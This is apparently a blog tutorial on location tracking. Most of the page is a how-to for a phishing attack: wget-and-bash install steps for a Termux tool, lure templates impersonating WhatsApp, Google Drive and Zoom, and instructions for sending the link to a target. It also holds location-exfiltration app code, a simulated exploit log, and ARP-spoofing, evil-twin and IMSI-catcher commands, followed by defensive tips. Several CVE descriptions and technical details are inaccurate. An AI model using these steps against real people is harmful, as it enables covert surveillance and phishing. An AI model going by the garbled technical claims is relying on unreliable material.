How Hackers Can Get Your Location DEMO

Your location data can be a gateway for hackers to invade your privacy. In this comprehensive guide from Sandeep Tech, we'll explore how attackers track your location, the vulnerabilities they exploit, and most importantly, how you can protect yourself from such intrusions.

Location Tracker Tool Installation

For Termux users looking to understand location vulnerabilities, we'll use a specialized location tracker tool from Sandeep Tech. This tool is designed for educational purposes to demonstrate how social engineering can be used to gain location access.

Follow these steps in your Termux terminal to install the necessary packages:

Update Termux packages:

apt update

Upgrade Termux packages:

apt upgrade -y

Install required dependencies:

apt install wget -y

Once the dependencies are installed, run the final command to download the location tracker tool:

cd $HOME && wget https://link.sandeeptech.com/st-location-tracker-setup

To Install this tool, use the command below:

bash st-location-tracker-setup

Finally, to run this tool, you can use this single command anywhere in Termux terminal:

st-location-tracker

Using the Location Tracker Tool

Running the installation script will immediately start the tool. It provides a menu-driven interface to configure and launch the location tracking attack. The following terminal simulation shows a typical workflow:

 SSSSS   AAAAA   NN   N   DDDD   EEEEE   EEEEE   PPPPP
 S       A   A   NNN  N   D   D  E       E       P   P
 SSSSS   AAAAA   N NN D   D   D  EEEE    EEEE    PPPP
     S   A   A   N  NNN   D   D  E       E       P
 SSSSS   A   A   N   NN   DDDD   EEEEE   EEEEE   P

[>] Created By   : Sandeep Bhondwe
|---> Instagram    : @sandeep_tech
|---> Website  : https://sandeeptech.com/
[>] Version      : 1.0

[!] Select a Template :

[0] NearYou
[1] Google Drive
[2] WhatsApp
[3] WhatsApp Redirect
[4] Telegram
[5] Zoom
[6] Google ReCaptcha
[7] Custom Link Preview
[>] 0

[+] Loading NearYou Template...

[+] Port : 8080

[+] Starting PHP Server...[ ✓ ]

Understanding the Phishing Technique

The tool from Sandeep Tech automates a sophisticated social engineering attack. Here's a breakdown of the process:

1. Template Selection: The user chooses a deceptive template, such as "QR Code Scanner." This creates a plausible reason for the target to interact with a link.
2. Local Server: A PHP server is started on the local device (your Android phone) to host the phishing page (e.g., the QR code scanner page).
3. Port Forwarding: A tunneling service like Ngrok or Localhost.run is used to expose this local server to the internet through a public URL. This is the "Direct link" generated by the tool.
4. The Trap: The attacker sends this link to the target. When the target clicks it, they see the QR code scanner page. The page is designed to entice them to click a button to "Scan QR Code" or "Enable Location."
5. Location Access Request: Clicking the button triggers a browser prompt asking for permission to access the location. Because the context seems harmless, the target is more likely to grant permission.
6. Location Tracking: Once permission is granted, the website silently tracks the target's location and sends it back to the attacker's device.

Introduction to Location Security

Smartphone location services have become an integral part of our daily lives, but they also represent a significant privacy risk if compromised. Android devices, being the most widely used mobile operating system globally, are particularly targeted by attackers seeking to access location data for surveillance or data theft.

Understanding Location Permissions

Android's permission system is designed to protect your privacy by requiring apps to request permission before accessing sensitive hardware like GPS. However, several factors can undermine this protection:

• Permission Granted Once - Once you grant location permission, the app can access it anytime
• Background Access - Some apps can access location even when not actively in use
• System Vulnerabilities - OS exploits can bypass permission systems entirely
• Malicious Apps - Disguised apps may request location permission for illegitimate purposes
• Outdated Android Versions - Older versions may have weaker permission controls

Common Location Vulnerabilities

Several vulnerabilities can be exploited to gain unauthorized access to Android device location:

Check location permission status on Android:

adb shell pm list packages | grep location

adb shell dumpsys package com.android.location | grep permission

Known Vulnerabilities

• CVE-2019-2234 - Location permission bypass in Android 9.0 and earlier
• CVE-2020-0096 - Privilege escalation allowing location access
• CVE-2021-0673 - Framework vulnerability for unauthorized location access
• App-Specific Bugs - Flaws in location apps that can be exploited
• Hardware Abstraction Layer Issues - Low-level vulnerabilities in GPS drivers

Attack Methods Used by Hackers

Attackers employ various techniques to gain access to Android device location:

1. Malicious Applications

The most common method involves tricking users into installing malicious apps that request location permission:

// Malicious app code to access location silently
LocationManager locationManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
LocationListener locationListener = new LocationListener() {
    public void onLocationChanged(Location location) {
        // Send location to attacker's server
        sendLocationToServer(location);
    }
};
// Request location updates silently
locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, locationListener);

2. Zero-Day Exploits

Attackers use previously unknown vulnerabilities to bypass Android's security measures:

[*] Target: Android 10 (API 29)
[*] Vulnerability: CVE-2020-0096
[*] Exploiting location permission bypass...
[*] Access granted to location services
[*] Installing silent tracking module...
[*] Location access established - user unaware

3. Network-Based Attacks

Attackers on the same network can intercept and manipulate location data:

# Man-in-the-middle attack to intercept location data
arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1

iptables -A FORWARD -p tcp --dport 8080 -j DROP

Malware and Spyware

Specialized malware can give attackers persistent access to your device's location:

Common Location Spyware

• FlexiSPY - Commercial spyware with location tracking capabilities
• AndroRAT - Remote Administration Tool for Android with location features
• DroidJack - RAT that can track location remotely
• Custom Malware - Tailored spyware developed for specific targets

Network-Based Attacks

Attackers can exploit network vulnerabilities to access your device location:

Wi-Fi Attacks

Use airmon-ng to start the wireless interface in monitor mode:

airmon-ng start wlan0

Create a rogue access point (Evil Twin):

airbase-ng -a 00:11:22:33:44:55 --essid "FreeWiFi" -c 6 wlan0mon

Configure DNS for the rogue AP:

dnsmasq -C dnsmasq.conf

Cellular Network Attacks

Use an IMSI catcher to track device location:

gr-gsm --freq 940.2M --gain 40 --sample-rate 2M --args "hackrf=0"

Social Engineering Techniques

Attackers often use social engineering to trick users into granting location access:

• Phishing Apps - Fake apps that appear legitimate but request location permission
• Scareware - Fake security alerts that trick users into installing malware
• Impersonation - Pretending to be a trusted service or contact
• Baiting - Offering something desirable in exchange for installing malicious apps

Detecting Location Tracking

Several methods can help you detect unauthorized location tracking:

Android Built-in Features

Check for active location processes:

adb shell ps | grep location

Dump location service information:

adb shell dumpsys location | grep "Location Provider"

Third-Party Security Apps

• Access Dots - Shows indicators when location is in use
• Privacy Dashboard - Monitors app access to sensitive permissions
• Antivirus Apps - Detect known spyware and malware
• Network Monitoring - Identifies suspicious network traffic

Protection Measures

Protecting your Android device's location requires a multi-layered approach:

System-Level Protection

Disable location using ADB (for rooted devices):

adb shell settings put secure location_mode 0

Re-enable location using ADB:

adb shell settings put secure location_mode 3

Physical Protection

• Location Settings - Turn off location when not needed
• App Permissions - Regularly review which apps have location access
• VPN Usage - Use VPN to mask your location

Android Security Settings

Properly configuring your Android settings can significantly improve location security:

Permission Management

Review and revoke location permissions for an app:

adb shell pm revoke com.example.app android.permission.ACCESS_FINE_LOCATION

Security Best Practices

• Keep Android Updated - Install security patches promptly
• Review App Permissions - Regularly check which apps have location access
• Use Google Play Protect - Enable built-in malware protection
• Avoid Unknown Sources - Only install apps from trusted sources
• Use Two-Factor Authentication - Protect your Google account

Secure App Practices

Being selective about apps is crucial for location security:

App Vetting Process

Analyze app permissions before installation:

aapt dump permissions app.apk | grep LOCATION

Check app signature for authenticity:

keytool -printcert -jarfile app.apk

Red Flags in Apps

• Unnecessary Permissions - Apps requesting location access without justification
• Poor Reviews - Multiple complaints about privacy issues
• Unknown Developers - Apps from unverified sources
• Excessive Ads - Ad-heavy apps that might collect data

Live Location Tracking Simulation

This interactive simulator demonstrates how location tracking can be gained and used for surveillance. It's designed to help you understand the potential risks and how to protect yourself. The simulator only works on your local device and doesn't transmit any data.

Interactive Demo

Command Reference

You've now learned how hackers can potentially track your location and how to protect yourself. Remember that knowledge is power when it comes to digital security. Stay vigilant, keep your device updated, and always be mindful of app permissions. For more security guides and tutorials, check out other articles on Sandeep Tech.